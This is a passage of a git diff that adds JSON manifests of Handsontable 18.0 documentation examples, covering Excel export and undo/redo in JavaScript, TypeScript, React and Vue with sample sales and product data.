\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\nnew Handsontable(document.querySelector('#example3'), {\n data: [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1','Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['Electronics', 'Accessories', 'Software'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'numeric' },\n { type: 'checkbox' },\n ],\n colHeaders: ['Product', 'Category', 'Unit Price', 'Stock', 'Active?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n contextMenu: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example3.js","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json new file mode 100644 index 00000000..9af75000 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n

Right-click any cell to open the context menu.

\n
\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nnew Handsontable(document.querySelector('#example3')!, {\n data: [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1','Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['Electronics', 'Accessories', 'Software'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'numeric' },\n { type: 'checkbox' },\n ],\n colHeaders: ['Product', 'Category', 'Unit Price', 'Stock', 'Active?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n contextMenu: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example3.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__react__example1.tsx.json new file mode 100644 index 00000000..db726b51 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst hotData = [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n];\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const handleAfterInit = () => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\n hot?.render();\n };\n\n const exportFile = async () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n await exportPlugin?.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n };\n\n return (\n <>\n
\n
\n \n
\n
\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-excel/react/example1.tsx","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__react__example2.tsx.json new file mode 100644 index 00000000..5ac3bfd1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst q1Data = [\n ['Alice Martin', 'North', 142000, true ],\n ['Bob Chen', 'East', 98500, true ],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true ],\n ['Eva Rossi', 'North', 54800, false],\n];\n\nconst q2Data = [\n ['Alice Martin', 'North', 158000, true ],\n ['Bob Chen', 'East', 112400, true ],\n ['Carol Davies', 'South', 89100, true ],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true ],\n];\n\nconst columns = [\n { type: 'text' as const },\n { type: 'dropdown' as const, source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric' as const,\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' as const },\n];\n\nconst ExampleComponent = () => {\n const hotQ1Ref = useRef(null);\n const hotQ2Ref = useRef(null);\n\n const exportSheets = async () => {\n const hotQ1 = hotQ1Ref.current?.hotInstance;\n const exportPlugin = hotQ1?.getPlugin('exportFile');\n\n await exportPlugin?.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1!, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: hotQ2Ref.current?.hotInstance!, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n };\n\n const sharedProps = {\n columns,\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto' as const,\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation' as const,\n };\n\n return (\n <>\n
\n
\n \n
\n
\n

Q1 Sales

\n \n

Q2 Sales

\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-excel/react/example2.tsx","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__react__example3.tsx.json new file mode 100644 index 00000000..e2dee32a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst hotData = [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1', 'Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n];\n\nconst ExampleComponent = () => (\n <>\n
\n

Right-click any cell to open the context menu.

\n
\n \n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-excel/react/example3.tsx","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__vue__example1.vue.json new file mode 100644 index 00000000..6ea90a9c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-excel/vue/example1.vue","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__vue__example2.vue.json new file mode 100644 index 00000000..76c1e026 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-excel/vue/example2.vue","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__vue__example3.vue.json new file mode 100644 index 00000000..8c538181 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-excel__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-excel/vue/example3.vue","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__javascript__example.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__javascript__example.js.json new file mode 100644 index 00000000..8cec51fa --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__javascript__example.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ['A6', 'B6', 'C6', 'D6', 'E6'],\n ['A7', 'B7', 'C7', 'D7', 'E7'],\n ['A8', 'B8', 'C8', 'D8', 'E8'],\n ['A9', 'B9', 'C9', 'D9', 'E9'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/undo-redo/javascript/example.js","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__javascript__example.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__javascript__example.ts.json new file mode 100644 index 00000000..8689ef4e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__javascript__example.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1'],\n ['A2', 'B2', 'C2', 'D2', 'E2'],\n ['A3', 'B3', 'C3', 'D3', 'E3'],\n ['A4', 'B4', 'C4', 'D4', 'E4'],\n ['A5', 'B5', 'C5', 'D5', 'E5'],\n ['A6', 'B6', 'C6', 'D6', 'E6'],\n ['A7', 'B7', 'C7', 'D7', 'E7'],\n ['A8', 'B8', 'C8', 'D8', 'E8'],\n ['A9', 'B9', 'C9', 'D9', 'E9'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/undo-redo/javascript/example.ts","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__react__example.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__react__example.tsx.json new file mode 100644 index 00000000..f2d9ea55 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__react__example.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/undo-redo/react/example.tsx","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__vue__example.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__vue__example.vue.json new file mode 100644 index 00000000..bbb45b57 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__undo-redo__vue__example.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · Vue 